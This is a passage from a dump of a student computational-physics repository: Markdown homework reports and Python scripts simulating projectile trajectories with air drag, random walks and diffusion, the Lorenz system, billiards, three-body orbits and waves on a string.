target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$\\rho=\\rho_0(1-\\frac{ay}{T_0})^\\alpha$$\" title=\"$$\\rho=\\rho_0(1-\\frac{ay}{T_0})^\\alpha$$\" /></a>\nWe replace <a href=\"http://www.codecogs.com/eqnedit.php?latex=$B_2$with$B_2\\rho/\\rho_0$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$B_2$with$B_2\\rho/\\rho_0$\" title=\"$B_2$with$B_2\\rho/\\rho_0$\" /></a>.\n$a\\approx6.5\\times{10^-}^3$K/m,$T_0$is the sea level temperature,$\\alpha\\approx2.5$for air\n\n3.Further incorporate the effects off the variation of the ground temperature by replacing<a href=\"http://www.codecogs.com/eqnedit.php?latex=$B_2$by$B_2^{ref}(T_0/T_{ref})^\\alpha$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$B_2$by$B_2^{ref}(T_0/T_{ref})^\\alpha$\" title=\"$B_2$by$B_2^{ref}(T_0/T_{ref})^\\alpha$\" /></a>\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$T_{ref}=300K$,$B_2^{ref}/m=4\\times10^{-5}m^{-1}$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$T_{ref}=300K$,$B_2^{ref}/m=4\\times10^{-5}m^{-1}$\" title=\"$T_{ref}=300K$,$B_2^{ref}/m=4\\times10^{-5}m^{-1}$\" /></a>\n\n4.Gravity decreases with altitude as one rises above the Earth's surface because greater altitude means greater distance from the Earth's centre.\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=$$g_h=g_0(\\frac{r_e}{r_e+h})^2$$\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?$$g_h=g_0(\\frac{r_e}{r_e+h})^2$$\" title=\"$$g_h=g_0(\\frac{r_e}{r_e+h})^2$$\" /></a>\nWhere\n\ngh is the gravitational acceleration at height h above sea level.\nre is the Earth's mean radius.\ng0 is the standard gravitational acceleration.\nThe formula treats the Earth as a perfect sphere with a radially symmetric distribution of mass; a more accurate mathematical treatment is discussed below(from wikipedia).\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/ch2.py)\n--------------------\n## Results and Analysis\n----------\n\n**1.Use the adiabatic model of air density**\n - when we ignore the air resistance. \n\n - when we consider the air resistance and air density.\n \nWhen we consider air resistance,the trajectories change a lot.\nThe altitude the cannon can reach fall. \nCompare these two pic,we can see cannon's range reduce a lot .\n> - ignore air resistance\n\n 45.0 50049.491150831855\n> - cosider air densitr\n\n43.199999999999996 24523.790443161008\n( numbers under the plot are the maximum range and the launch angle to achieve it.)\n---------------------\n\nThe maximum range reduce from 50049.49 to 24523.79(about51.0%)\nThe launch angle to achieve it also become smaller(from 45.0 to 43.2)\n\n\n----------\n\n\n**2.Incorporate the effects of the temperature**\n> - 253K\n \n> - 303K\n\nAssume that the temperature in winter is 253K and the summer temperature is 303K.\nThe altitude the cannon can reach fall in summer .\nCompare these two pic,we can see cannon's range reduce .\n> - 253K\n \n > - 303K\n \n( numbers under the plot are the maximum range and the launch angle to achieve it.)\n-----------------------\n\nThe maximum range reduce from30320.25to 24194.66 in summer.(about20.2%).However,both range in winter and summer fall a lot compared with 300K.\nThe launch angle to achieve it in winter is 43.2 which is closed to reference temperature.The angle in summer is 45.0 which is closed to the ideal condition.\n\n\n**3.Incorporate the effects of g**\n> - g\n\n> - gh\n\n> - g\n\n> - gh\n.\n---------------------------------\n\nIt seems that g has very little effect on the trajectory.\n\n--------\nPS.pygame\n已安装pygame\n\nimport pygame \nfrom pygame.locals import * \npygame.init() \npygame.display.set_mode((600,500)) 一直报错...(I'm still working on it!)\n\n\n"},{"alpha_fraction":0.6842184066772461,"alphanum_fraction":0.767899751663208,"avg_line_length":54.858333587646484,"blob_id":"6549f5606ca33ec91f59f444d826254519afa02f","content_id":"d18645b814759735fc410b5b941205030e4d058a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":6714,"license_type":"no_license","max_line_length":610,"num_lines":120,"path":"/final/Random Systems.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"# Random Systems\n\nName:贾雪巍 \n\nStudent number:201530120090\n\n## Random Walks&Diffusion\n\n1.Random walk is a model describes a process in which a walker moves one step a time,according to certain rules.The simplest situation involves a walker that is able to take steps of length unity along a line.The walker begins at the origin.Each step can be towards right or left with equal probability.We can stimulate the displacement of the walker after N steps(time).Use the Monte Carlo sampling.First generate a random number between 0 and 1 and determine the direction of the step.We can also calculate the mean displacement and the average of square of the displacement and the 2 or 3 dimensional cases.\n\n2.Random walks are equivalent to diffusion.Consider the density of particles(walkers).The density is propotional to the probablity per unit volume P(x,y,z,t).We'll see the density and P obey the same equation.On a simple cubic lattice,the total probablity to arrive at (i,j,k) is P(i,j,k,n)=1/6[P(i+1,j,k,n-1)+P(i,j,k,t)+P(i-1,j,k,n-1)+P(i,j+1,k,n-1)+P(i,j-1,k,n-1)+P(i,j,k-1,n-1)].Rearranging and taking the continuum limit, it suggests that\n\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=\\frac{\\partial&space;P(x,y,z,t)}{\\partial&space;t}=D&space;\\nabla^2P(x,y,z,t)\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\frac{\\partial&space;P(x,y,z,t)}{\\partial&space;t}=D&space;\\nabla^2P(x,y,z,t)\" title=\"\\frac{\\partial P(x,y,z,t)}{\\partial t}=D \\nabla^2P(x,y,z,t)\" /></a>\n\nIf we know the initial distribution we'll get the solution at future times.\n\n3. Recall that the statistical definition of entropy is \n\n <a href=\"http://www.codecogs.com/eqnedit.php?latex=S=-\\sum_{i}P_ilnP_i\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?S=-\\sum_{i}P_ilnP_i\" title=\"S=-\\sum_{i}P_ilnP_i\" /></a>\n\n Divide the system into a square grid.State i correspond to the particles in the cell i at any particular time and Pi is the probability of finding the particle in this cell at particular time.\n\n## [Codes](https://github.com/jxw666/computationalphysics_N2015301020090/tree/master/final)\n\n## Results&Anylasis\n\n 1.One dimensional random walk\n\n \n\nHere I draw two walker's displacements versus time\n\nThe following figures are get from the average of 5000 walkers.\n\n\n\nWe can see that the mean displacement is close to zero as expected.Because it's equal likely to go left and right.\n\n\n\nWe see that the averages of the square of the displacement is well described by a straight line.The RED line is the stimulation of the dots.Y=0.989960976898X+0.315882666666.\n\nFor a free particle x=vt.So a random walker escapes from the origin more slowly(square root of t).\n\nN steps one dimensional random walk is a **Binomial distribution.** From the math we have learned we can easily know that\n\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=\\sigma_n^2=\\overline{(\\Delta&space;n)^2}=Npq\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\sigma_n^2=\\overline{(\\Delta&space;n)^2}=Npq\" title=\"\\sigma_n^2=\\overline{(\\Delta n)^2}=Npq\" /></a>\n\nOur textbook,to explain this result,suggests that we can write the position xn as a sum of n separate i th step,then write the square displacement.Finally we reach that the slope of the curve is 1.\n\nUse the same method the average of x^4 is\n\n<a href=\"http://www.codecogs.com/eqnedit.php?latex=<x^4>=3n^2-2n\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?<x^4>=3n^2-2n\" title=\"<x^4>=3n^2-2n\" /></a>\n\nhere's the result I got\n\n\n\n\n\n\t\t\t\n\t\tThe RED line is y=2.94218790678x^2 -6.59728183121x+ 63.7786218824 .I think <x4> can be very large (we can see from the figure).So the difference between the ideal one and the result I got is acceptable.\n\n2.one dimensional but random length\n\n\n\n\n\nThe mean average is also close to zero.\n\n\n\nThe RED line is y=0.346211421082x -0.0849232487711\n\n\n\nThe RED line is y=2.94218790678x^2 -6.59728183121x+ 63.7786218824\n\n3.two&three dimensions\n\n\n\n\n\nThe stimulation result is y=1.01732169697x+0.22355830303\n\n\n\n\n\n\n\nThe stimulation result is y=1.62234589019 x-0.981333454546\n\n4.From the **central limit theorem** we know for large number particles their distributions should approximate to a Gaussian distribution.You can also verify that a Gaussian distribution obeys the diffusion equation.\n\nSet all particle at the center at the beginning, then let them do random walk in one dimension .For 1000 walkers after 10,100,500,2000,4000,8000 time steps we get\n\n\n\nWe can see how the particles diffuse in this way without knowing the details of particles' motion.\n\n5.Consider two dimension random walk problem. First we set a number of particle in the center area which is shaped as a square. Then let them do random walk to up,down,left and right in four directions. The only limit is once they are reach the edge of the area they can not pass it. Then we observe the whole random particle picture in different time.\n\n\n\nThen calculate the entropy we get\n\n\n\nDuring the process th entropy increase and seemingly is going to approach a constant value.This illustrates how a closed system approaches equilibrium.\n\n## Acknowledgement\n\n1.Qiangyu,a former student of our computational course.I refered part of his codes,especially about the diffusion problem.\n\n2.Wikipedia,Random walk\n\n3.Computational Physics, Nicholas J. Giordano & Hisao Nakanishi \n"},{"alpha_fraction":0.39834025502204895,"alphanum_fraction":0.4655601680278778,"avg_line_length":23.5744686126709,"blob_id":"f9b29d00ffadad6b7b4b6257503ec5d9362c13d3","content_id":"cdcac31fa3dbef2889211b70fec1ddb47676cecd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1239,"license_type":"no_license","max_line_length":42,"num_lines":47,"path":"/homework8/code/a=0.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import math\nimport matplotlib.pyplot as plt\ndef billiard(x0,y0,vx0,vy0,r,time):\n x=[x0]\n y=[y0]\n vx=vx0\n vy=vy0\n t=[0]\n dt=0.01\n T=0\n while T<=time:\n x.append(x[-1]+vx*dt)\n y.append(y[-1]+vy*dt)\n t.append(t[-1]+dt)\n if (x[-1]**2+y[-1]**2)>r**2:\n d=math.sqrt(x[-1]**2+y[-1]**2)\n d1=2*r-d##这里借鉴了强雨的代码,对坐标进行修正\n x.append(x[-1]*d1/d)\n y.append(y[-1]*d1/d)\n t.append(t[-1]+dt)\n cs=x[-1]/d \n ss=y[-1]/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n T=t[-1]\n return x,y\ndef circle(r1):\n x1=[]\n y1=[]\n theta=[]\n theta.append(0)\n tu=2*math.pi/10000\n for j in range(10000):\n x1.append(r1*math.cos(theta[-1]))\n y1.append(r1*math.sin(theta[-1]))\n theta.append(theta[-1]+tu)\n return x1,y1\nfig = plt.figure(figsize=(7, 7))\nB=billiard(0.5,0.5,-0.4,-0.3,1,500)\nplt.plot(B[0],B[1],'k:')\na1,b1=circle(1.0)\nplt.plot(a1,b1,color='black') \nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('Circular stadium-trajectory')\n \n \n \n \n \n "},{"alpha_fraction":0.4588682949542999,"alphanum_fraction":0.5306704640388489,"avg_line_length":32.39682388305664,"blob_id":"02afbb6a89400f40d047229a60d94e954b6049f8","content_id":"82ef12ad58c97f0d2f2541f04629361647385dff","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2103,"license_type":"no_license","max_line_length":197,"num_lines":63,"path":"/ch4/ch4.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import math\nimport matplotlib.pyplot as plt\nMS=2*10**30\nMJ=1.9*10**27*10\nME=6*10**24\na=(6*10**24+5.2*1.9*10**27)/(2*10**30+6*10**24+1.9*10**27)\nb=((1-a)*2*math.pi*6*10**24+1.9*10**27*2*math.pi*(5.2-a)/math.sqrt(5.2))/(2*10**30*a)\nc=(2*math.pi*ME+2*math.pi*MJ/math.sqrt(5.2))/(ME+MS+MJ)\nJX=[5.2-a]\nEX=[1-a]\nSX=[0-a]\nJY=[0]\nEY=[0]\nSY=[0]\nCOMX=[0]\nCOMY=[0]\nvex=0\nvey=2*math.pi\nvjx=0\nvjy=2*math.pi/math.sqrt(5.2)\nvsx=0\nvsy=0\nt=0\ndt=0.01\ni=0\nwhile t<=100:\n re_s=math.sqrt((EX[i]-SX[i])**2+(EY[i]-SY[i])**2)\n re_j=math.sqrt((EX[i]-JX[i])**2+(EY[i]-JY[i])**2)\n rs_j=math.sqrt((SX[i]-JX[i])**2+(SY[i]-JY[i])**2)\n vex_dt=vex-(4*math.pi**2*(EX[i]-SX[i])/re_s**3-4*math.pi**2*(MJ/MS)*(EX[i]-JX[i])/re_j**3)*dt\n vey_dt=vey-(4*math.pi**2*(EY[i]-SY[i])/re_s**3-4*math.pi**2*(MJ/MS)*(EY[i]-JY[i])/re_j**3)*dt\n vjx_dt=vjx-(4*math.pi**2*(JX[i]-SX[i])/rs_j**3-4*math.pi**2*(ME/MS)*(JX[i]-EX[i])/re_j**3)*dt \n vjy_dt=vjy-(4*math.pi**2*(JY[i]-SY[i])/rs_j**3-4*math.pi**2*(ME/MS)*(JY[i]-EY[i])/re_j**3)*dt \n vsx_dt=vsx-(4*math.pi**2*(ME/MS)*(SX[i]-EX[i])/re_s**3-4*math.pi**2*(MJ/MS)*(SX[i]-JX[i])/rs_j**3)*dt \n vsy_dt=vsy-(4*math.pi**2*(ME/MS)*(SY[i]-EY[i])/re_s**3-4*math.pi**2*(MJ/MS)*(SY[i]-JY[i])/rs_j**3)*dt \n COMX.append(0)\n COMY.append(COMY[i]+c*dt)\n EX.append(EX[i]+vex_dt*dt)\n EY.append(EY[i]+vey_dt*dt-c*dt)\n JX.append(JX[i]+vjx_dt*dt)\n JY.append(JY[i]+vjy_dt*dt-c*dt)\n SX.append(SX[i]+vsx_dt*dt)\n SY.append(SY[i]+vsy_dt*dt-c*dt) \n\n vex=vex_dt\n vey=vey_dt\n vsx=vsx_dt\n vsy=vsy_dt\n vjx=vjx_dt\n vjy=vjy_dt\n i=i+1\n t=t+dt\nfig = plt.figure(figsize=(7, 7)) \nplt.plot(EX,EY,linewidth='0.1',color='blue',label='Earth')\nplt.plot(SX,SY,linewidth='1',color='red',label='Sun')\nplt.plot(JX,JY,linewidth='1',color='black',label='Jupiter')\n#plt.plot(COMX,COMY,color='yellow',linewidth='2')\n#plt.grid()\nplt.xlabel('x/AU')\nplt.ylabel('y/AU')\nplt.title('3-body simulation Earth&Jupiter&Sun')\nplt.legend()\nplt.show()"},{"alpha_fraction":0.4736328125,"alphanum_fraction":0.5751953125,"avg_line_length":21.755556106567383,"blob_id":"c9902a0a56d361576f0ee14b3c60418b6ca68a28","content_id":"4b457c6d126d9db638401326971e68553339bd46","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1024,"license_type":"no_license","max_line_length":70,"num_lines":45,"path":"/ch6/ch6.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import math\nimport numpy as np\nimport matplotlib.pyplot as plt\ndelta_x=0.01\nc=300\ndelta_t=3.5*10**(-5)#delta_x/c#2*10**(-5)#3.33*10**(-5)delta_x/c\nr=c*delta_t/delta_x\nx=np.linspace(0,1,int(1/delta_x)+1)\nk0,x0=1000,0.3\ny_initial=[]\nfor i in range(1+int(1/delta_x)):\n y_initial.append(math.exp(-k0*(i*delta_x-x0)**2))\ny1=y_initial\ny2=y_initial\nfor i in range(11):\n y3=[0]\n for j in range(1,len(y2)-1):\n y3.append((2*(1-r**2)*y2[j]-y1[j]+r**2*(y2[j-1]+y2[j+1])))\n y3.append(0)\n y1=y2\n y2=y3\n\n\nn_step=11\nn_plot=11\nplt.figure(figsize=(10,10))\nplt.subplot(n_plot,1,1)\nplt.plot(x,y_initial,color='blue')\nplt.title('Waves On A String With Fixed Ends')\nfor i in range(n_plot-1):\n plt.subplot(n_plot,1,i+2)\n plt.plot(x,y1,color='blue')\n #plt.xlabel('x')\n #plt.figure(figsize=(7, 7))\n for i in range(11):\n y3=[0]\n for j in range(1,len(y2)-1):\n y3.append((2*(1-r**2)*y2[j]-y1[j]+r**2*(y2[j-1]+y2[j+1])))\n y3.append(0)\n y1=y2\n y2=y3\n\n \n\nplt.show()\n"},{"alpha_fraction":0.668713390827179,"alphanum_fraction":0.7446274161338806,"avg_line_length":78.62222290039062,"blob_id":"c05d9ea44c7a9a0f3c74623d58fcae50417dd814","content_id":"352c4dd7ed2f45f89400cb2773473df630a368bb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":3585,"license_type":"no_license","max_line_length":699,"num_lines":45,"path":"/Ch3/lorenz.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"\n\n\n> Written with [StackEdit](https://stackedit.io/).\n# Chapter_two_section3.6-The Lorenz Model\n-------------\nproblem3.26&27\n\n--------\n## Background\n-------\n\nE.N.Lorenz atmospheric scientist(not Lorentz!) studied the Navier-Stokes equations and the Rayleigh-Benard problem,which concerns a fluid in a container whose top and bottom surfaces are held at different temperatures.It had long been know that as the difference between these two temperature is increased, the fluid can undergo transitions from a stationary state to steady flow to chaotic flow.He considered a **greatly simplified** version of Navier-Stokes equationas as applied to this particular problem.He grossly oversimplified the problem as he reduced it to only three equations\n <a href=\"http://www.codecogs.com/eqnedit.php?latex=\\frac{dx}{dt}=\\sigma(y-x)\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\frac{dx}{dt}=\\sigma(y-x)\" title=\"\\frac{dx}{dt}=\\sigma(y-x)\" /></a>,\n <a href=\"http://www.codecogs.com/eqnedit.php?latex=\\frac{dy}{dt}=-xz+rx-y\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\frac{dy}{dt}=-xz+rx-y\" title=\"\\frac{dy}{dt}=-xz+rx-y\" /></a>,\n <a href=\"http://www.codecogs.com/eqnedit.php?latex=\\frac{dz}{dt}=xy-bz\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\frac{dz}{dt}=xy-bz\" title=\"\\frac{dz}{dt}=xy-bz\" /></a>.\n x,y,z are derived from the temperature density and velocity variables from Rayleigh-Benard problem,and the sigma, r,b are the measures of of temperature difference and other fluid parameters. In the following analysis,we'll take<a href=\"http://www.codecogs.com/eqnedit.php?latex=\\sigma=10,b=8/3\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?\\sigma=10,b=8/3\" title=\"\\sigma=10,b=8/3\" /></a>.From our text book we know the transition from steady convection to chaotic behavior takes place at<a href=\"http://www.codecogs.com/eqnedit.php?latex=r=470/19\\approx24.74\" target=\"_blank\"><img src=\"http://latex.codecogs.com/gif.latex?r=470/19\\approx24.74\" title=\"r=470/19\\approx24.74\" /></a>.\n We again use Euler method to solve this problem.\n\n\n-------\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/Ch3/lorenz.py)\n-----\n## Results&Analysis\n-------------\n1.Phase-space\nConstruct a phase-space plot model for the Lorenz model.Imagine that x,y and z are coordinates in some abstract space.\nr=2, steady\n\n\n\n\n\n\n\nWhen r is small,the system is steady.When r=20,the system is chaotic,not r=25.However,when r is greater,the chaos seems to disappear???\n\n-----------\n2.Poincatr sections\nConsider the two-dimensional slices\nx(0)=1,y(0)=z(0)=0\n\nx(0)=0,y(0)=z(0)=1\n\nPoincare sections are independent of the initial conditions.\n"},{"alpha_fraction":0.7202531695365906,"alphanum_fraction":0.7943037748336792,"avg_line_length":59.57692337036133,"blob_id":"d18c22a78ee6b87aff2ec5f968defa01fa0bdc26","content_id":"a09f31e0725ec942e840909cb1559e48fa29fb41","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1580,"license_type":"no_license","max_line_length":692,"num_lines":26,"path":"/CH5/Electric Potentials .md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"# Electric Potentials \n\nProblem 5.3\n\n## Bacground\n\nThe reigons of space that do not contain any electric charges,the potential obeys Laplace's equation(PDE).We'll use the **relaxation method** to solve the equation numerically.After the approximaton we get the value of the potential at any point is the average of potential at all of the neighbor points(assume that the step sizes along every axis are equal).If we know the value at boundaries ,we make an initial guess for the solution.Then calculate an improved guess by the relation we get.Then repeat the procedure.This iterative process continues until satisfy some conditions.This approach is called the relaxation method.The algorithm ,our textbook says, is known as the Jacobi method.\n\nProblem5.3consider the potential between two parallel capacitor plates.And based on the symmetry ,we just need to calculate the result in one quadrant of the x-y plane.\n\n\n\n## [Code](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/CH5/ch5.py)\n\n## Results&Analysis\n\n\n\n\n\n\n\n\n## Acknowlegement\n\nI want to thank Junyi Shangguan.Her method to set the potential is awesome!\n\n\n\n\n\n"},{"alpha_fraction":0.417391300201416,"alphanum_fraction":0.8695651888847351,"avg_line_length":115,"blob_id":"e4bebe5f25583e51534e1afb9c26a40de77dc7fb","content_id":"b4faa873598649e2f845955c23342ce48a1a94ad","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":115,"license_type":"no_license","max_line_length":115,"num_lines":1,"path":"/Untitled.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"![]()"},{"alpha_fraction":0.44592517614364624,"alphanum_fraction":0.5146079063415527,"avg_line_length":23.94871711730957,"blob_id":"b0bf9b068821c67032d371a708ebff855742a64c","content_id":"f66890979535623f9092aaadddab6d6ee31053ef","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1961,"license_type":"no_license","max_line_length":57,"num_lines":78,"path":"/final/3-randomwalk.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\nfrom scipy.integrate import odeint\nfrom mpl_toolkits.mplot3d import Axes3D\ndef randpath(T):\n x=[0]\n y=[0]\n z=[0]\n t=[0]\n r2ave=[0]*T\n for i in range(T):\n ruler=random.randint(1,3)\n if ruler==1:\n c=random.random()\n t.append(i+1)\n if c<=0.5:\n x.append(x[-1]+1) \n else:\n x.append(x[-1]-1)\n y.append(y[-1])\n z.append(z[-1])\n if ruler==2:\n c=random.random()\n t.append(i+1)\n if c<=0.5:\n y.append(y[-1]+1)\n else:\n y.append(y[-1]-1)\n x.append(x[-1])\n z.append(z[-1])\n if ruler==3:\n c=random.random()\n t.append(i+1)\n if c<=0.5:\n z.append(y[-1]+1)\n else:\n z.append(y[-1]-1)\n x.append(x[-1])\n y.append(z[-1]) \n r2ave[i]=r2ave[i]+(x[-1]**2+y[-1]**2+z[-1]**2) \n return x,y,z,t,r2ave\nx,y,z,t,r2ave=randpath(500)\nx1,y1,z1,t1,r2ave1=randpath(500)\nfig = plt.figure(figsize=(9,7))\nax1=fig.gca(projection='3d')\nax1.plot(x1,y1,z1,color='black')\nax1.plot(x,y,z,color='blue')\nax1.set_title('random walk in 3 dimension')\nax1.set_xlabel('x')\nax1.set_ylabel('y')\nax1.set_zlabel('z')\n#ax1.view_init(30,0)\n\n\n#-----------\nr2ave=[0]*100\nfor i in range(5000):\n x1,y1,z1,t1,r2ave1=randpath(100)\n for j in range(len(x1)-1):\n r2ave[j]=r2ave[j]+r2ave1[j]/5000\nplt.figure(figsize=(10,5))\nplt.grid()\nt0=[]\nfor i in range(100):\n t0.append(i+1)\nplt.plot(t0,r2ave,'o',ms=3)\nplt.xlabel('time(step number)')\nplt.ylabel('<r2>')\nplt.title('random walk in one dimension')\n#plt.text(10,80,'<x2> versus time')\nk,b=np.polyfit(t0,r2ave,1)#多项式拟合\nideal=[]\nfor i in range(100):\n ideal.append(k*(i+1)+b)\nplt.plot(t0,ideal,color='red')\nprint(k,b)\n\n "},{"alpha_fraction":0.32249894738197327,"alphanum_fraction":0.37990713119506836,"avg_line_length":25.65517234802246,"blob_id":"394b5f8dd4803d51cd8d8933a91f1429c0c74d64","content_id":"f53ed76437a6f2eb92f95b1cf0fc7329b4351857","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2369,"license_type":"no_license","max_line_length":91,"num_lines":87,"path":"/homework8/code/phasespace2.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import math\nimport matplotlib.pyplot as plt\ndef billiard(x0,y0,vx0,vy0,r,a, RR,time):\n x=[x0]\n y=[y0]\n vx=vx0\n vy=vy0\n t=[0]\n dt=0.01\n T=0\n VX=[vx]\n while T<=time:\n x.append(x[-1]+vx*dt)\n y.append(y[-1]+vy*dt)\n VX.append(vx)\n t.append(t[-1]+dt)\n if y[-1]>=a and (x[-1]**2+(y[-1]-a)**2)>r**2 and (x[-1]**2+(y[-1]-a)**2)>RR**2:\n d=math.sqrt(x[-1]**2+(y[-1]-a)**2)\n d1=2*r-d\n x.append(x[-1]*d1/d)\n y.append((y[-1]-a)*d1/d+a)\n VX.append(vx)\n cs=x[-1]/d\n ss=(y[-1]-a)/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n elif y[-1]<=-a and (x[-1]**2+(y[-1]+a)**2)>r**2 and (x[-1]**2+(y[-1]-a)**2)>RR**2:\n d=math.sqrt(x[-1]**2+(y[-1]+a)**2)\n d1=2*r-d\n x.append(x[-1]*d1/d)\n y.append((y[-1]+a)*d1/d-a)\n VX.append(vx)\n cs=x[-1]/d\n ss=(y[-1]+a)/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n elif -a<y[-1]<a and x[-1]>r and (x[-1]**2+(y[-1]-a)**2)>RR**2:\n x[-1]=2*r-x[-1]\n vx=-vx\n x.append(x[-1]*d1/d)\n y.append((y[-1]+a)*d1/d-a)\n VX.append(vx)\n elif -a<y[-1]<a and x[-1]<-r and (x[-1]**2+(y[-1]-a)**2)>RR**2:\n x[-1]=-2*r-x[-1]\n vx=-vx \n x.append(x[-1]*d1/d)\n y.append((y[-1]+a)*d1/d-a)\n VX.append(vx)\n elif (x[-1]**2+(y[-1]-a)**2)<=RR**2:\n d=math.sqrt(x[-1]**2+y[-1]**2)\n d1=2*RR-d\n x.append(x[-1]*d1/d)\n y.append(y[-1]*d1/d)\n t.append(t[-1]+dt)\n cs=x[-1]/d\n ss=y[-1]/d\n vpt=vy*cs-vx*ss\n vpr=-(vy*ss+vx*cs)\n vx=vpr*cs-vpt*ss\n vy=vpr*ss+vpt*cs\n VX.append(vx)\n T=t[-1]\n return x,y,VX\n\n\nB=billiard(0.5,0.5,-0.4,-0.3,1,0,0.2,800)\naa=B[0]\nbb=B[1]\ncc=B[2]\n\nV=[]\nxx=[]\nfor i in range(len(B[1])-1):\n if abs(bb[i])<0.001:\n V.append(cc[i])\n xx.append(aa[i])\n \n \nplt.plot(xx,V,'o', ms=2,color='black')\n\nplt.xlabel('x')\nplt.ylabel('vx')\nplt.title('r=0.2 in center,phase-space')\n\n \n \n \n \n \n"},{"alpha_fraction":0.7149075269699097,"alphanum_fraction":0.7573449611663818,"avg_line_length":49.88888931274414,"blob_id":"e33d38c31bc5f32d701354791db94d6b07a3e973","content_id":"b207b8d4e8d4c1ac7713c111709c74c6f8ed590a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":991,"license_type":"no_license","max_line_length":461,"num_lines":18,"path":"/homework_03.md","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"----------\n\n> Written with [StackEdit](https://stackedit.io/).\n# Homework_03\n[file_01](https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/temp2.py )\n> 自己写的，但很简单只能前后两次移动-_-#\n> 利用while loop,\n> 清屏语句 import os\n> s=os.system(\"clear\")(for Mac)\n> \n\n[file_02]( https://github.com/jxw666/computationalphysics_N2015301020090/blob/master/name.py)\n> 借鉴了[qqyyff](https://github.com/qqyyff)的作业,表示感谢 :-)\n> 使用time module\n\n> **time.sleep(secs)**\n\n> Suspend execution of the calling thread for the given number of seconds. The argument may be a floating point number to indicate a more precise sleep time. The actual suspension time may be less than that requested because any caught signal will terminate the sleep() following execution of that signal’s catching routine. Also, the suspension time may be longer than requested by an arbitrary amount because of the scheduling of other activity in the system.\n\n\n\n"},{"alpha_fraction":0.4582456052303314,"alphanum_fraction":0.5284210443496704,"avg_line_length":23.465517044067383,"blob_id":"f8875a08241b72250ea01f3e5f90a8c1f69bf930","content_id":"439c6b1a48f1ab1c22e49b4f8c9e68437f053bcd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1435,"license_type":"no_license","max_line_length":48,"num_lines":58,"path":"/final/2-d randomwalk.py","repo_name":"jxw666/computationalphysics_N2015301020090","src_encoding":"UTF-8","text":"import random\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\ndef randpath(T):\n x=[0]\n y=[0]\n t=[0]\n r2ave=[0]*T\n for i in range(T):\n ruler=random.randint(1,2)\n if ruler==1:\n c=random.random()\n t.append(i+1)\n if c<=0.5:\n x.append(x[-1]+1) \n else:\n x.append(x[-1]-1)\n y.append(y[-1])\n if ruler==2:\n c=random.random()\n t.append(i+1)\n if c<=0.5:\n y.append(y[-1]+1)\n else:\n y.append(y[-1]-1)\n x.append(x[-1])\n r2ave[i]=r2ave[i]+(x[-1]**2+y[-1]**2) \n return x,y,t,r2ave\nx,y,t,r2ave=randpath(100)\nx1,y1,t1,r2ave1=randpath(100)\nplt.plot(x,y,color='black')\nplt.plot(x1,y1,color='blue')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('random walk in 2 dimension')\n#-----------\nr2ave=[0]*100\nfor i in range(5000):\n x1,y1,t1,r2ave1=randpath(100)\n for j in range(len(x1)-1):\n r2ave[j]=r2ave[j]+r2ave1[j]/5000\nplt.figure(figsize=(10,5))\nplt.grid()\nt0=[]\nfor i in range(100):\n 